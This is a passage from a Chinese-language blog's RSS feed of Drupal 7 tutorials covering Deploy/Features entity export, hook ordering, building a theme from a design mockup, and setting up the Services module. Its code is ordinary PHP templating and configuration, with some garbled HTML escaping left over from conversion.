&lt;li&gt;&lt;p&gt;要发布计划，进入 &lt;code&gt;adimin/structure/deploy&lt;/code&gt;，点击 &amp;ldquo;Deploy&amp;rdquo; 按钮，然后利用 &amp;ldquo;Deploy&amp;rdquo; 按钮确认。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;另外，要把部署计划做成自动化部署，可以添加一个 Rule Action &amp;ldquo;Deploy a plan&amp;rdquo;，使得每次 Aticle 的创建和编辑都触发部署计划的发布。这种做法并不推荐。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用Deploy和Features导出Entities</title>
      <link>/post/drupal-export-entity-with-deploy-and-features/</link>
      <pubDate>Thu, 13 Aug 2015 23:48:21 +0800</pubDate>
      <guid>/post/drupal-export-entity-with-deploy-and-features/</guid>
      <description>&lt;p&gt;Deploy Module可以把任何支持UUID的Entity导出到Features中。这个功能在创建安装范本或演示时非常有用，或者用于处理一些既非配置，也非内容的对象。&lt;/p&gt;

&lt;p&gt;使用Deploy导出内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;安装Deploy&lt;/a&gt;和&lt;a href=&#34;http://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;Features&lt;/a&gt;。如果不需要使用Deploy进行Drupal站点之间的内容同步，知识想要导出到Features的话，就无需关心Service Module的安装了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;admin/structure/deploy/plans/add&lt;/code&gt;建立一个新的部署计划。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择聚合方式，参考&lt;a href=&#34;http://drupal.org/node/1406136&#34; target=&#34;_blank&#34;&gt;Deploy基础用法&lt;/a&gt;，来获取关于将内容加入部署计划的不同方法。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择&lt;code&gt;Fetch only&lt;/code&gt;，因为我们不需要部署处理，也不需要服务节点，而且没有选择这个选项的话，部署计划也不会出现在Features界面中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;admin/structure/features/create&lt;/code&gt;菜单。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在&lt;code&gt;Deployment(deploy_pnas)&lt;/code&gt;中，为新建的部署计划选择组件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在&lt;code&gt;UUID Entities(uuid_entities)&lt;/code&gt;中，会发现一个和部署计划同名的组件，选择之。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;注意，上文提到的选择，不会自动提供对内容类型、字段、模块等依赖关系的处理。所以要清楚导出内容的外部依赖。如果只是导出内容到相似或相同的站点，或者利用其他的Features来解决依赖关系，最好只导出部署计划以及相关的Entity组件。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;需要导出的内容需要支持UUID。&lt;a href=&#34;http://drupal.org/project/entity_uuid&#34; target=&#34;_blank&#34;&gt;Entity UUID&lt;/a&gt;项目为非核心Entity提供了支持。要给Commerce Entity提供UUID支持，可移步到&lt;a href=&#34;http://drupal.org/project/commerce_uuid&#34; target=&#34;_blank&#34;&gt;Commerce UUID&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;变通做法：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/uuid_features&#34; target=&#34;_blank&#34;&gt;UUID Features Integration&lt;/a&gt;模块提供了一种简单的导出内容到Features的方式，不过她主要支持的是核心Entity。使用Deploy，只要有UUID支持的Entity都是可导出的。如果你只是想要导出核心Entity，那么这种无需更多配置的方式可能更简单。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 主题系统原理</title>
      <link>/post/drupal-theme-system-design/</link>
      <pubDate>Mon, 10 Aug 2015 04:51:17 +0800</pubDate>
      <guid>/post/drupal-theme-system-design/</guid>
      <description>&lt;p&gt;原作者：&lt;a href=&#34;https://www.drupal.org/u/camorim&#34; target=&#34;_blank&#34;&gt;camorim&lt;/a&gt;, &lt;a href=&#34;https://www.drupal.org/u/dsquaredb&#34; target=&#34;_blank&#34;&gt;DSquaredB&lt;/a&gt;, &lt;a href=&#34;https://www.drupal.org/u/carolyn&#34; target=&#34;_blank&#34;&gt;Carolyn&lt;/a&gt;, &lt;a href=&#34;https://www.drupal.org/u/rootwork&#34; target=&#34;_blank&#34;&gt;rootwork.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://www.drupal.org/node/337173&#34; target=&#34;_blank&#34;&gt;How the Drupal theme system works&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个系列描述了Drupal主题系统的基本原理，包括主题的组成和设置，.info文件和页面模板。可作为新建自定义主题的起点教程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 7 - Hook执行顺序</title>
      <link>/post/hook-order-in-drupal7/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/hook-order-in-drupal7/</guid>
      <description>&lt;p&gt;没有什么文档来说明这个事情，在阅读 &lt;code&gt;&amp;quot;module_implements&amp;quot;&lt;/code&gt; 代码的过程中，我获得了变更 Hook 执行顺序的灵感。&lt;/p&gt;

&lt;p&gt;下面是 &lt;code&gt;module_implements&lt;/code&gt; 中的代码片段&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;// Allow modules to change the weight of specific implementations but avoid
// an infinite loop.
if ($hook != &#39;module_implements_alter&#39;) {
drupal_alter(&#39;module_implements&#39;, $implementations[$hook], $hook);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以只要简单的实现一下 &lt;code&gt;&amp;quot;module_implements_alter&amp;quot;&lt;/code&gt; ，在代码中对 Module 列表进行重新排序，也就改变了 Hook 的执行顺序。&lt;/p&gt;

&lt;p&gt;下面是示例代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function mymodule_module_implements_alter(&amp;amp;$module_list, $context){
    if($context === &amp;quot;node_insert&amp;quot;){
    $temp = $module_list[&#39;mymodule&#39;];
    // Removing the mymodule key/value
    unset($module_list[&#39;mymodule&#39;]);
    // Adding the mymodule key value as the last member in the list
    $module_list[&#39;mymodule&#39;] = $temp;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里需要注意 &lt;code&gt;module_list&lt;/code&gt; 参数是引用传递。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 7：如何从设计稿开始制作主题</title>
      <link>/post/drupal7-theme-from-scratch/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal7-theme-from-scratch/</guid>
      <description>&lt;p&gt;Drupal的主题制作是个复杂且繁重的工作。即使是一个入门主题，也会充斥着令人迷惑的PHP代码和错综复杂的CSS。一个设计师能做什么？无需担心，从设计草图入手制作主题是完全可行的。本文将一步一步的演示制作自己Drupal主题的过程，从info文件，页面模板，区域一直到CSS。&lt;/p&gt;

&lt;p&gt;本文假设你了解一些Drupal术语，具有基本的Drupal安装设置以及主题方面的基本知识。当然，读者还需要知道完成设计稿中可能涉及的HTML和CSS，因为这里只会讲解Drupal相关的编码技巧。&lt;/p&gt;

&lt;p&gt;还有一篇&lt;a href=&#34;http://www.apaddedcell.com/how-create-drupal-6-theme-scratch&#34; target=&#34;_blank&#34;&gt;《如何根据设计图制作Drupal 6主题》&lt;/a&gt;可以作为本文的前传，如题，这篇文章是针对Drupal 6的。&lt;/p&gt;

&lt;p&gt;##为什么根据设计图制作主题&lt;/p&gt;

&lt;p&gt;一般对Drupal主题的介绍都是从一个现存主题或基主题的定制入手的。首先要面对的问题就是这些主题非常通用。一般都具有左边栏或者右边栏或者两边都有，很多区域，很多的CSS。如果你有这么多需要，那当然是好的，但是这有个直接后果就是，大量的模板文件和CSS让人无所适从。可能有很多的CSS并不需要却不便移除。定制一个这种主题是个非常心烦的过程。&lt;/p&gt;

&lt;p&gt;另外一个问题是，这些主题的复杂性让你无法了解Drupal主题的工作方式，无助于用户学习创建自己的主题。我希望读者能从本文获取这方面的知识。&lt;/p&gt;

&lt;p&gt;##创建自己的主题&lt;/p&gt;

&lt;p&gt;###1. 创建目录结构&lt;/p&gt;

&lt;p&gt;首先你需要为新主题创建一个目录。这个目录应该位于&lt;code&gt;sites/all/themes&lt;/code&gt;或者&lt;code&gt;sites/yoursite/themes&lt;/code&gt;之下，这个路径决定了新主题是为单个站点服务还是服务于所有站点。记得给这个目录起一个唯一的且不包含空格的名字。&lt;/p&gt;

&lt;p&gt;为CSS和图片文件创建子目录能让主题目录整洁有序。一般的目录结构如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--Theme name
----css
----images
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###2. 创建.info文件&lt;/p&gt;

&lt;p&gt;Drupal6和以后的版本，所有主题都会有一个info文件用来提供一些基本信息。有些信息用于主题管理页面，同时这些信息也决定了主题设置中的可用选项。&lt;/p&gt;

&lt;p&gt;Info文件是个简单的文本文件，他的主文件名会被Drupal当作该主题的机读名称使用，例如你命名info文件为yourtheme.info，则这个主题的机读名称就是“yourtheme”。&lt;/p&gt;

&lt;p&gt;在info文件里，我们需要用键值对的格式为主题输入信息。其中包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;name - 用于人阅读的友好名称&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;description - 主题的描述&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;core - 对应的Drupal版本&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/171205#engine&#34; target=&#34;_blank&#34;&gt;engine&lt;/a&gt;主题使用的主题引擎（一般是phptemplate）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;regions - 主题为区块提供的可用区域。方括号内的内容是机读名称（例如&lt;code&gt;regions[&#39;sidebar_first&#39;]&lt;/code&gt;）。这些配置会把区域插入到模板文件之中。指定的标签名称会出现在管理界面中为Block指定区域的页面上。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在Drupal 7中，在自定义区域之外，&lt;strong&gt;必须&lt;/strong&gt;包含内容区域。推荐使用Drupal标准名称为侧边栏区域命名（Drupal 7中的&lt;code&gt;sidebar_first&lt;/code&gt;以及&lt;code&gt;sidebar_second&lt;/code&gt;）。这使得Drupal能够在body标签中加上标记来说明使用了哪些侧边栏（没有/左/右等）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/171205#features&#34; target=&#34;_blank&#34;&gt;features&lt;/a&gt; - Drupal 7 主题管理界面中可以开启或者关闭的主题功能（例如指定站点名称，标志等）。只有info文件中列出的功能才能展现在主题管理界面上，并且可以在页面模板中作为变量使用。如果你希望清楚所有特性，留空即可；如要包含所有特性，可以删掉features项。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;stylesheets - 你的CSS文件。第一个方括号用于指定媒体类型(例如stylesheets[all]或者stylesheets[print])。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;scripts - 主题所需的所有脚本（记住Drupal自带jQuery）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;scripts和stylesheet的值是相对于主题目录的（例如sites/yoursite/themes/yourtheme路径会被自动包含）。如果你需要指定一个在主题目录之外的文件，可以参考&lt;a href=&#34;http://drupal.org/node/171205#comments&#34; target=&#34;_blank&#34;&gt;《info文件说明》&lt;/a&gt;来获取包含外部脚本的方法的介绍。&lt;/p&gt;

&lt;p&gt;下面是一个info文件示例：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = My Cool Theme
description = Custom theme for my site
core = 7.x
engine = phptemplate
regions[header] = Header
regions[sidebar_first] = Right sidebar
regions[content] = Content
regions[footer] = Footer

stylesheets[all][] = css/style.css
stylesheets[print][] = css/print.css

features[] = name
features[] = main_menu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/171205&#34; target=&#34;_blank&#34;&gt;《info选项的更多信息》&lt;/a&gt;，包含缺省值和一些其他的键，可以在Drupal.org获得。&lt;/p&gt;

&lt;p&gt;###3. 理解Drupal模板文件&lt;/p&gt;

&lt;p&gt;Drupal主题建立在模板之上，扩展名是.tpl.php。这些文件包含了主题所需的html，以及一些用于指导Drupal工作的变量。&lt;/p&gt;

&lt;p&gt;如果想要创建一个非常简单的主题，压根就不需要任何的模板文件。Drupal自带了所有输出的缺省模板，所以你的模板可以只包含CSS。这些缺省内容是随着产生这些内容的模块而来的。例如node的html标记就存在于Node模块的node.tpl.php中；Block的html标记包含在block模块的block.tpl.php文件中。&lt;/p&gt;

&lt;p&gt;只有在需要改变缺省行为的情况下才需要创建自己版本的模板文件。否则Drupal会简单的使用缺省文件。修改核心文件&lt;strong&gt;绝对&lt;/strong&gt;不是个好主意。在自己的主题中进行覆盖才是合适的办法。&lt;/p&gt;

&lt;p&gt;要创建自己版本的模板文件，可以把缺省版本从模块目录拷贝到自己的主题中。有时候很难确定什么模块做了部分渲染工作，如果真的遇到这种麻烦，可以试试看&lt;a href=&#34;http://drupal.org/project/devel_themer&#34; target=&#34;_blank&#34;&gt;Theme developer模块&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;最重要的模板文件，也可能是最需要修改的文件就是&lt;strong&gt;page.tpl.php&lt;/strong&gt;，这个模板文件包含了页面文件的主体。缺省的page.tpl.php存在于system模块中。缺省文件包含了很多附加的可能无用的选项，所以为了方便，我会根据设计稿编写自己的page.tpl.php。&lt;/p&gt;

&lt;p&gt;在Drupal 7中还有一个&lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--html.tpl.php/7&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;html.tpl.php&lt;/strong&gt;&lt;/a&gt;模板，这其中包含有全局的文档结构（doctype, head节，body和html标记的开始和结束等）。因为通常这个文件没什么麻烦，所以我们一般不需要理会这个文件。如果你真的要修改他，也可以从system模块中拷贝到自己的主题目录中进行修改。&lt;/p&gt;

&lt;p&gt;###3.1. 创建page.tpl.php&lt;/p&gt;

&lt;p&gt;要开始创建你的主题文件，可以从新建一个空的名为page.tpl.php的文本文件开始。在这里会存放所有的body内容。这个文件包含三个元素：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HTML标记（包含div，以及其他的主要结构元素）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;区域定义&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;其他内容项的变量（例如标题，导航栏）&lt;/p&gt;

&lt;div id=&#34;header&#34;&gt;
 
&lt;/div&gt;

&lt;div id=&#34;wrapper&#34;&gt;

  &lt;div id=&#34;content&#34;&gt;

  &lt;/div&gt;
    

&lt;p&gt;&lt;div id=&#34;sidebar&#34;&gt;&lt;/p&gt;

&lt;p&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;&lt;/div&gt;&lt;/p&gt;

&lt;div id=&#34;footer&#34;&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;###3.2 创建区域&lt;/p&gt;

&lt;p&gt;任何需要在Drupal界面上通过Block方式进行编辑的部分都需要成为一个区域。在我们的例子里，包含了头部，右边栏，内容区以及页脚。不要忘记所有的区域都需要在Info中进行声明。&lt;/p&gt;

&lt;p&gt;但是如果你不声明任何区域，Drupal会提供一系列的缺省区域， 其中包括头部、高亮、帮助、内容、第一边栏以及第二边栏。&lt;/p&gt;

&lt;p&gt;在Drupal 7中，变量，包含区域变量都使用&lt;a href=&#34;http://drupal.org/node/930760&#34; target=&#34;_blank&#34;&gt;Render Arrays&lt;/a&gt;插入到最终页面。入门阶段对这个过程无需了解太多，有个例外就是这里包含了把区域以及其他元素输出到页面模板的方法。我会尝试在今后的文章中对这个过程做个详细一些的介绍。&lt;/p&gt;

&lt;p&gt;内容区域有一种可能的意外——这个区域可能是空的。你可能不想在没有内容的时候输出任何东西。所以应该在输出之前进行判断这些变量是否存在。&lt;/p&gt;

&lt;p&gt;下面的代码用一个条件来判断页脚区域是否有内容，如果有就输出：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($page[&#39;footer&#39;]): ?&amp;gt;    
  &amp;lt;?php print render($page[&#39;footer&#39;]); ?&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;对每个区域的输出都应该这样，将$page[&amp;lsquo;footer&amp;rsquo;]替换成区域的机读名称（info文件中区域声明的方括号里面的那部分）。content比较特别，因为这个区域总是有内容的，所以无需判断。&lt;/p&gt;

&lt;p&gt;容器div在判断之外还是判断之内，取决于你的选择——是否需要在区域为空时让div继续存在？&lt;/p&gt;

&lt;p&gt;下面是目前阶段的page.tpl.php文件样本：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;header&amp;quot;&amp;gt;

&amp;lt;/div&amp;gt;

&amp;lt;div id=&amp;quot;wrapper&amp;quot;&amp;gt;

  &amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;
    &amp;lt;?php print render($page[&#39;content&#39;]); ?&amp;gt;
  &amp;lt;/div&amp;gt;

  &amp;lt;?php if ($page[&#39;sidebar_first&#39;]): ?&amp;gt;    
    &amp;lt;div id=&amp;quot;sidebar&amp;quot;&amp;gt;
      &amp;lt;?php print render($page[&#39;sidebar_first&#39;]); ?&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;  
&amp;lt;/div&amp;gt;

&amp;lt;div id=&amp;quot;footer&amp;quot;&amp;gt;
  &amp;lt;?php if ($page[&#39;footer&#39;]): ?&amp;gt;    
    &amp;lt;?php print render($page[&#39;footer&#39;]); ?&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;  
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###3.3 为基础的页面元素添加变量&lt;/p&gt;

&lt;p&gt;页面除了区域之外还有另外一部分。这一节中我们会为关键的页面元素添加变量，其中包括页面标题以及Drupal导航栏。如同Drupal文档页中的描述一样，&lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--page.tpl.php/6&#34; target=&#34;_blank&#34;&gt;page.tpl.php包含了很多的变量&lt;/a&gt;。想要主题有什么就包含什么。需要面包屑么？$breadcrumbs变量就可以。&lt;/p&gt;

&lt;p&gt;最常见的包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$site_name&lt;/code&gt;

* $logo(标志是从主题设置中上传的，只有在你实现了logo功能时才有作用)

* $title(页面标题)

* &lt;code&gt;$main_menu&lt;/code&gt;

* &lt;code&gt;$secondary_menu&lt;/code&gt;

* &lt;code&gt;$breadcrumbs&lt;/code&gt;

还有一些对Drupal管理员有用的变量：

* $tabs (用于编辑/查看管理菜单，通常由模块使用)

* $messages

* &lt;code&gt;$action_links&lt;/code&gt;

另外一些有用的变量：

* &lt;code&gt;$base_path&lt;/code&gt;：站点根目录

* &lt;code&gt;$front_page&lt;/code&gt;：站点首页

* &lt;code&gt;$directory&lt;/code&gt;：主题所在路径

变量由&lt;a href=&#34;http://drupal.org/node/930760&#34; target=&#34;_blank&#34;&gt;Render API&lt;/a&gt;插入：

&amp;lt;?php print render($tabs); ?&amp;gt;

&amp;gt;  &lt;strong&gt;menu和主题设置的说明&lt;/strong&gt;
&amp;gt; &amp;gt;主菜单和副菜单是标准的导航菜单块，由系统缺省提供，也是有效的变量。用两种方式都可以插入连接到页面模板。如果想要方便移动，那么用Block比较好，否则可以用硬编码的方式写入模板。
&amp;gt;
&amp;gt;显示其他站点元素，例如Logo也可以用这样的逻辑。如果你希望轻易的通过管理界面更改Logo或者关闭主菜单，使用主题设置和相关的变量；否则可以直接写入page模板。
&amp;gt;
&amp;gt;另外一个要点是，菜单连接返回的是一个数组。当你把他包含到页面模板时，需要用&lt;a href=&#34;http://api.drupal.org/api/function/theme&#34; target=&#34;_blank&#34;&gt;theme()&lt;/a&gt;函数来展开他。
&amp;gt;
&amp;lt;?php if ($main_menu): ?&amp;gt;
  &amp;lt;?php print theme(&amp;lsquo;links__system_main_menu&amp;rsquo;, array(&amp;lsquo;links&amp;rsquo; =&amp;gt; $main_menu, &amp;lsquo;attributes&amp;rsquo; =&amp;gt; array(&amp;lsquo;id&amp;rsquo; =&amp;gt; &amp;lsquo;main-menu&amp;rsquo;))); ?&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;br /&gt;
这个例子里，因为我不想更换Logo，所以我把Logo作为一个简单的图片来使用，而不是使用$logo变量。这里也展示了&lt;code&gt;$base_path&lt;/code&gt;、&lt;code&gt;$directory&lt;/code&gt;以及&lt;code&gt;$site_name&lt;/code&gt;变量的使用。

注意在Drupal 7中还有$title_prefix以及$title_suffix变量。模块可能使用他们，所以要记得包含在所有的主题中。

还有一点就是有的变量需要用&lt;strong&gt;render()&lt;/strong&gt;函数来显示，而其他的可以简单的打印输出。区别在哪里呢？如果变量是个数组（&lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--page.tpl.php&#34; target=&#34;_blank&#34;&gt;page.tpl.php参考&lt;/a&gt;），需要使用render()；相反的，可以直接用print输出（&amp;lt;?php print $varible; ?&amp;gt;），如果有问题，可以查阅缺省的page.tpl.php来看看缺省模板的实现方式。

现在page.tpl.php文件变成了这样


&lt;div id=&#34;wrapper&#34;&gt;

  &lt;div id=&#34;header&#34;&gt;
    &lt;a href=&#34;&lt;?php print $front_page;?&gt;&amp;rdquo;&amp;gt;
      &lt;img src=&#34;/&lt;?php print $directory;?&gt;/images/logo.png&amp;rdquo; alt=&amp;rdquo;&amp;lt;?php print $site_name;?&amp;gt;&amp;rdquo; height=&amp;ldquo;80&amp;rdquo; width=&amp;ldquo;150&amp;rdquo; /&amp;gt;
    &lt;/a&gt;

    &amp;lt;?php if ($main_menu): ?&amp;gt;
      &amp;lt;?php print theme(&amp;lsquo;links&amp;rsquo;, $main_menu); ?&amp;gt;
    &amp;lt;?php endif; ?&amp;gt;

  &lt;/div&gt;

  &lt;div id=&#34;content&#34;&gt;
    &amp;lt;?php print render($title_prefix); ?&amp;gt;
      &amp;lt;?php if ($title): ?&amp;gt;&lt;h1&gt;&amp;lt;?php print $title; ?&amp;gt;&lt;/h1&gt;&amp;lt;?php endif; ?&amp;gt;
    &amp;lt;?php print render($title_suffix); ?&amp;gt;

    &amp;lt;?php print render($messages); ?&amp;gt;
    &amp;lt;?php if ($tabs): ?&amp;gt;&lt;div class=&#34;tabs&#34;&gt;&amp;lt;?php print render($tabs); ?&amp;gt;&lt;/div&gt;&amp;lt;?php endif; ?&amp;gt;
    &amp;lt;?php if ($action_links): ?&amp;gt;&lt;ul class=&#34;action-links&#34;&gt;&amp;lt;?php print render($action_links); ?&amp;gt;&lt;/ul&gt;&amp;lt;?php endif; ?&amp;gt;

    &amp;lt;?php print render($page[&amp;lsquo;content&amp;rsquo;]); ?&amp;gt;
  &lt;/div&gt;

  &amp;lt;?php if ($page[&amp;lsquo;sidebar_first&amp;rsquo;]): ?&amp;gt;&lt;br /&gt;
    &lt;div id=&#34;sidebar&#34;&gt;
      &amp;lt;?php print render($page[&amp;lsquo;sidebar_first&amp;rsquo;]); ?&amp;gt;
    &lt;/div&gt;
  &amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;

  &lt;div id=&#34;footer&#34;&gt;
    &amp;lt;?php if ($page[&amp;lsquo;footer&amp;rsquo;]): ?&amp;gt;&lt;br /&gt;
      &amp;lt;?php print render($page[&amp;lsquo;footer&amp;rsquo;]); ?&amp;gt;
    &amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
  &lt;/div&gt;

&lt;/div&gt;
&lt;br /&gt;
##4. 创建自己的CSS

这个工作跟其他的情况类似，尽管做就是了。

##5. 试试看

现在你已经创建了自己的页面模板，可以启用你的模板来看看运行情况。如果你有些修改没有反应到运行上来，可以试试清空缓存。

这几乎是所有“修改代码不生效”问题的解决方法。

##6. 制作截图

在Drupal管理界面会在你的主题名称旁边会显示一张截图。要制作这个图片很简单，抓取一下屏幕，尺寸改成150*90，并把这个文件起名叫screenshot.png即可。

Drupal有些&lt;a href=&#34;http://drupal.org/node/11637&#34; target=&#34;_blank&#34;&gt;截图指导&lt;/a&gt;，不过这个只在你决定要公开发布你的贡献的时候才需要。

## 下载主题文件

下载本教程生成的主题文件：&lt;a href=&#34;http://www.apaddedcell.com/sites/www.apaddedcell.com/files//mycooltheme.tar.gz&#34; target=&#34;_blank&#34;&gt;mycooltheme.tar.gz&lt;/a&gt;。

为了这个例子，我包含了很简单的CSS用来摆放基本的元素。如果你希望只使用自己的出品，可以移除这些多余的CSS。

##下一步？

这只是Drupal主题的冰山一角，还有很多很多的事情要在Drupal中完成。还好有很多适合入门者的资源。

##讨论

要讨论，提问或者评论本文，请去站长论坛的关于&lt;a href=&#34;http://www.webmaster-forums.net/html-css-and-javascript/apc-article-how-create-simple-drupal-7-theme-scratch&#34; target=&#34;_blank&#34;&gt;如何从设计搞创建Drupal 7&lt;/a&gt;的讨论。可以说说你在本课程中的疑问。

##资源

* &lt;a href=&#34;http://drupal.org/theme-guide&#34; target=&#34;_blank&#34;&gt;Drupal 主题指南&lt;/a&gt;

* &lt;a href=&#34;http://drupal.org/node/171205&#34; target=&#34;_blank&#34;&gt;Info文件的结构&lt;/a&gt;

* &lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--page.tpl.php&#34; target=&#34;_blank&#34;&gt;page.tpl.php&lt;/a&gt;

* &lt;a href=&#34;http://drupal.org/node/190815&#34; target=&#34;_blank&#34;&gt;核心模板列表&lt;/a&gt;

###附件

&lt;a href=&#34;http://www.apaddedcell.com/sites/www.apaddedcell.com/files/mycooltheme.tar.gz&#34; target=&#34;_blank&#34;&gt;mycooltheme.tar.gz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Drupal Services模块入门教程</title>
      <link>/post/drupal-service-basic/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-service-basic/</guid>
      <description>

&lt;p&gt;Services模块为Drupal站点提供了实现Web服务的能力。&lt;/p&gt;

&lt;p&gt;Services很流行，可以同REST, XMLRPC, JSON以及SOAP协同工作。&lt;/p&gt;

&lt;p&gt;然而，在上星期的一次培训中，当被问到Services的问题时，我意识到，问题产生的原因在于——这个模块几乎没有清晰的可用的文档。&lt;/p&gt;

&lt;p&gt;所以我决定写一篇Services模块的入门教程。&lt;/p&gt;

&lt;p&gt;下面就是利用Services为Drupal站点建立REST API的五个步骤：&lt;/p&gt;

&lt;h2 id=&#34;1-安装&#34;&gt;1. 安装&lt;/h2&gt;

&lt;p&gt;基础的REST API需要三个模块的支持：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/libraries&#34; target=&#34;_blank&#34;&gt;Libraries&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/services&#34; target=&#34;_blank&#34;&gt;Services&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/services_views&#34; target=&#34;_blank&#34;&gt;Services Views&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果你要为API添加认证支持，那么还需要添加一个模块，例如&lt;a href=&#34;https://www.drupal.org/project/oauth&#34; target=&#34;_blank&#34;&gt;OAuth&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;你可能需要做一件无聊的事情：测试这几个模块的不同版本。我在Drupal.org上找到&lt;a href=&#34;https://www.drupal.org/node/1871498&#34; target=&#34;_blank&#34;&gt;一篇文章&lt;/a&gt;，其中提到需要用部分旧版本的模块，来避免一些bug。&lt;/p&gt;

&lt;p&gt;当你启用这些模块后，需要选择服务器的类型。除了REST和XMLRPC之外的其他服务模块例如&lt;a href=&#34;https://www.drupal.org/project/soap_server&#34; target=&#34;_blank&#34;&gt;SOAP&lt;/a&gt;，需要在Drupal.org上获得。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/62e366bb15d77e7f2607df91caa5bb79.png&#34; alt=&#34;Servers&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;2-创建server&#34;&gt;2. 创建Server&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;Structure &amp;gt; Services&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 Add&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输入机读名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择服务器&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输入服务端点路径(Path to endpoint)，这一路径会变成这个Server的URL的一部分。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;保存&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

